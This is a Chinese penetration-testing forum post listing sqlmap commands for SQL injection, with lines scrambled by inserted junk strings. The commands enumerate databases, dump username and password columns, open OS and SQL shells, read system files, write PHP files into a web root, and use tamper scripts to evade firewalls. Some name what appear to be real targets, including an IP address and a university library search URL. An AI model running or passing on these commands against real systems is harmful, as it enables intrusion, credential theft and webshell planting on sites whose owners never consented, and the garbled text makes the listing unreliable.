中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
* M8 s) T+ J2 F. p
- K9 X$ y6 R4 m: t  Eupdate :::::>     in the folder   after  execute    following   order : svn update
+ N) ^, e2 s  [2 W$ n9 B
9 Z$ Q7 {5 @% e7 ?0 A" I, xsqlmap.py -r 1.txt --current-db
, Z! w8 P7 w) V+ y( z& J, @% ?0 T. P
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”2 F8 X( T) B* z4 M% W  B6 k
' m# Q% [  s7 r6 ]7 Z2 ^8 G- N3 u* C$ a
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
' V- Y" u8 x" M* [4 u8 d+ Z$ o猜解数据库! e' T; Z& b! d1 o* b% S
./sqlmap.py -u "injection-url" --dbs
; }* Q; {7 b' z) `, Psqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
* ~9 q# S0 q$ U' Q4 o& q7 e
1 l  ?2 S5 X9 ?, U# k猜解表名: \! s9 z8 f8 G3 u0 G0 t
./sqlmap.py -u "injection-url" -D database_name --tables
6 K( c- z1 o* T* x/ o# s9 p
  C9 x. j1 _5 qsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
0 D* S) k& T8 C# g& asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
% u( Q1 j0 s, A, t4 v1 t7 N* [! T
2 `' }& J1 z) i4 T0 Zsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump4 g  c0 c+ U- V4 B9 I. x! U
" |: t7 p! h( @0 b1 U
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
; X5 Q$ T* w* `5 a5 D/ |+ k* n% tsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
( n/ |8 ]* m, U. H4 I( X- R. Ysqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
4 B  i; w; _+ }: zsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"7 u! V8 b' b/ G8 r
2 Q7 Y" p- [" _' Z2 H5 }
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
6 g! V  q- c) t) I" Y) b2 rsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
' o' c6 ~7 u7 }- jsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
! R" k: K- z/ E/ Jsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
: [* y1 E, D" isqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
* p7 L3 m2 A3 X, Z) [7 B% Q# m
/ D/ l/ {/ b0 B: z/ N, ]7 hsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了0 \7 [$ o1 _* n1 B
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py", ]' r% i5 v1 D# ]- t
" v- y! ~: ?1 o/ e% O6 P
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst") i1 b3 p9 l# G! L
猜解列名
. l5 q9 @6 i. O3 i1 s5 w6 @./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
, s. h" b$ f3 _; z# ~2 @
$ I/ \* {$ J3 L5 ~% U$ rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" % i$ ?+ ^- F2 n- \
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"   h% n1 D" _' x* C* Y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py": h6 L7 O' u( @; G6 d

8 M8 e6 n2 d0 [+ b. Qsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
8 C! H5 ^7 f  G# ?: \& A&submit=Go/ c  m$ t( a3 o" \% U. t
猜解值* S8 Q0 m) S. \; Z2 P, f: N
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump3 B6 `8 d& y% c& ~. P7 e
========================================================5 a$ h7 J  P$ _3 D) C
搜索表名中包括mana字符的: A9 s* I9 D# }& a
/sqlmap.py -u "injection-url" -T mana --search
' Y& \6 y6 B/ A/ I3 q返回一个交互式sql shell
; j0 E8 g- r" {2 Z9 X/ y' J/sqlmap.py -u "injection-url" --sql-shell
7 d$ U6 D7 c. }7 F* ]6 ?读取指定文件(需权限)
9 c$ o8 g: l- ~% R6 Y. Y/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"6 g+ g3 y$ K5 f% A# w
查看当前 用户 及 数据库
: S6 Q& z* f" P+ ~7 T1 s8 n/sqlmap.py -u "injection-url" --current-user --current-db
9 B1 Z- T4 D. x$ ~3 ?$ b本地文件 写入 远程目标绝对路径
$ r2 g3 o/ u- p% i/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径8 q) M5 y1 s. F% }8 T, l
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
; `1 V  \" x1 k  i' f) @4 ^1 J) o0 w+ F8 E: E% O9 \: I
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径% V; U# S5 }5 W9 {
查看某用的权限
3 Q  b3 M; Y. b/ A" N/sqlmap.py -u "injection-url" --privileges -U root( `9 n7 c) k9 j! h: X2 b' [
查看当前用户是否为dba
* _5 P. A1 J% g1 l/ c+ V4 _) k+ n/sqlmap.py -u "injection-url" --is-dba+ y1 g+ x, V* D9 H" C* _/ a* z& [) y
读取所有数据库用户或指定数据库用户的密码8 L4 V6 q2 o. q' q2 l0 Y' \
sqlmap.py -r 1.txt --users --passwords
0 @) {. N$ N0 Ksqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" ; l7 {; [3 w0 s7 g' d; s  j
! `% Y* G0 w8 F" G% r6 W
/sqlmap.py -u "injection-url" --passwords -U root8 q" q, h, B) l7 J

' }' q7 F# O6 B- _3 |0 z0 N' {--start&&--stop 与 --first&&--last 的区别
, D! q$ \1 m: m  n/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)- m" ^  ?' H7 [5 o
" S3 h( c: w* z4 [
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)' p1 V* ?0 z$ i' Q1 k. R
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
3 v3 J8 v" N6 F8 Z! d" i3 h) X- d5 Q/ F/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
* g" P! G3 N" I0 ~- U8 _0 x) c
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
2 X' R3 p! v, s' @9 s" }' ~7 t/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"# W$ W2 O% S. J1 l; }

# x  j* w, g2 r6 \# b




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2